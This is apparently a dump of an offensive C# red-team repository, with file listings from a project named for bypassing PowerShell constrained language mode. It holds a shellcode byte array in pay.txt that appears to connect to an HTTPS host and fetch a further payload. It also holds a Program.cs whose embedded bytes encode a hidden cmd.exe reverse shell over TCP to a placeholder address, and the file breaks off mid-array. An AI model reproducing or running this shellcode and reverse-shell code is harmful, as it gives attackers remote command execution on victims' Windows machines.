C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.exe 3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.pdb 4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\System.Net.Http.dll 5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\System.Net.Http.xml 6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x86\Debug\sharpmeter.exe 7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x86\Debug\sharpmeter.pdb 8 | -------------------------------------------------------------------------------- /SharpMeter/obj/x86/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/obj/x86/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/pay.txt: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[794] { 2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 16 | 0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69, 17 | 0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26, 18 | 0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31, 19 | 0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5, 20 | 0xe8,0x0d,0x00,0x00,0x00,0x31,0x30,0x2e,0x32,0x30,0x30,0x2e,0x33,0x2e,0x31, 21 | 0x36,0x33,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,0x4d, 22 | 0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00, 23 | 0x00,0x00,0xff,0xd5,0xe8,0xf2,0x00,0x00,0x00,0x2f,0x57,0x4a,0x59,0x75,0x45, 24 | 0x5a,0x35,0x62,0x58,0x4f,0x79,0x78,0x31,0x62,0x44,0x58,0x37,0x63,0x49,0x49, 25 | 0x31,0x51,0x6c,0x4f,0x72,0x61,0x5a,0x31,0x49,0x6a,0x38,0x61,0x76,0x6a,0x49, 26 | 0x69,0x32,0x42,0x4c,0x30,0x41,0x6c,0x52,0x2d,0x4a,0x51,0x77,0x63,0x77,0x75, 27 | 0x34,0x73,0x55,0x6a,0x49,0x71,0x77,0x64,0x71,0x6b,0x5a,0x6f,0x37,0x66,0x5f, 28 | 0x49,0x48,0x6c,0x54,0x4a,0x4d,0x73,0x70,0x47,0x62,0x33,0x43,0x56,0x61,0x62, 29 | 0x4a,0x51,0x4f,0x68,0x30,0x52,0x4e,0x6b,0x72,0x59,0x44,0x6d,0x4e,0x36,0x30, 30 | 0x6e,0x61,0x74,0x72,0x54,0x49,0x4e,0x64,0x38,0x52,0x43,0x7a,0x5f,0x4e,0x76, 31 | 0x56,0x38,0x52,0x46,0x64,0x62,0x55,0x78,0x53,0x6a,0x64,0x41,0x41,0x78,0x6b, 32 | 0x31,0x45,0x49,0x70,0x5a,0x5a,0x54,0x77,0x4d,0x35,0x76,0x72,0x51,0x4d,0x54, 33 | 0x4f,0x6d,0x46,0x39,0x34,0x53,0x36,0x57,0x4f,0x4b,0x4d,0x4d,0x7a,0x79,0x6a, 34 | 0x4f,0x76,0x31,0x48,0x36,0x6c,0x59,0x72,0x6f,0x63,0x5a,0x6a,0x7a,0x4d,0x67, 35 | 0x4e,0x68,0x6c,0x56,0x70,0x37,0x5a,0x35,0x4c,0x35,0x50,0x66,0x64,0x52,0x54, 36 | 0x34,0x41,0x56,0x4a,0x4a,0x47,0x49,0x30,0x6a,0x45,0x4d,0x71,0x4a,0x67,0x61, 37 | 0x30,0x37,0x5a,0x73,0x5f,0x74,0x6e,0x6b,0x75,0x69,0x30,0x6d,0x43,0x7a,0x76, 38 | 0x6f,0x42,0x71,0x4b,0x71,0x56,0x54,0x6a,0x4d,0x32,0x79,0x30,0x58,0x79,0x69, 39 | 0x33,0x45,0x4c,0x39,0x62,0x56,0x33,0x74,0x35,0x6c,0x00,0x48,0x89,0xc1,0x53, 40 | 0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa0,0x84,0x00,0x00, 41 | 0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48, 42 | 0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33, 43 | 0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86, 44 | 0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d, 45 | 0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff, 46 | 0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44, 47 | 0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb, 48 | 0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1, 49 | 0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5, 50 | 0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89, 51 | 0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49, 52 | 0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20, 53 | 0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58, 54 | 0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; 55 | -------------------------------------------------------------------------------- /SharpThrough/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpThrough/Program.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.CSharp; 2 | using System; 3 | using System.CodeDom.Compiler; 4 | using System.IO; 5 | using System.Reflection; 6 | 7 | 8 | namespace SharpThrough 9 | { 10 | public class Program 11 | { 12 | 13 | static void Main(string[] args) 14 | { 15 | byte[] byteRS = new byte[2945] { 0xEF, 0xBB, 0xBF, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x49, 0x4F, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73, 0x74, 0x69, 0x63, 0x73, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x4E, 0x65, 0x74, 0x2E, 0x53, 0x6F, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x20, 0x53, 0x68, 0x61, 0x72, 0x70, 0x54, 0x68, 0x72, 0x6F, 0x75, 0x67, 0x68, 0xD, 0xA, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x52, 0x53, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x4D, 0x61, 0x69, 0x6E, 0x52, 0x53, 0x28, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x69, 0x70, 0x20, 0x3D, 0x20, 0x22, 0x7C, 0x49, 0x50, 0x41, 0x44, 0x44, 0x52, 0x45, 0x53, 0x53, 0x7C, 0x22, 0x20, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x20, 0x3D, 0x20, 0x7C, 0x54, 0x43, 0x50, 0x50, 0x4F, 0x52, 0x54, 0x7C, 0x20, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x54, 0x63, 0x70, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x54, 0x63, 0x70, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x69, 0x70, 0x2C, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x20, 0x3D, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x2E, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x28, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x20, 0x72, 0x64, 0x72, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x28, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x28, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x22, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x22, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4E, 0x6F, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x55, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x20, 0x2B, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x28, 0x43, 0x6D, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x20, 0x2B, 0x3D, 0x20, 0x50, 0x5F, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x42, 0x65, 0x67, 0x69, 0x6E, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x42, 0x65, 0x67, 0x69, 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, 0x69, 0x6C, 0x65, 0x20, 0x28, 0x74, 0x72, 0x75, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x72, 0x64, 0x72, 0x2E, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x22, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x28, 0x30, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x50, 0x5F, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x28, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x2C, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x41, 0x72, 0x67, 0x73, 0x20, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 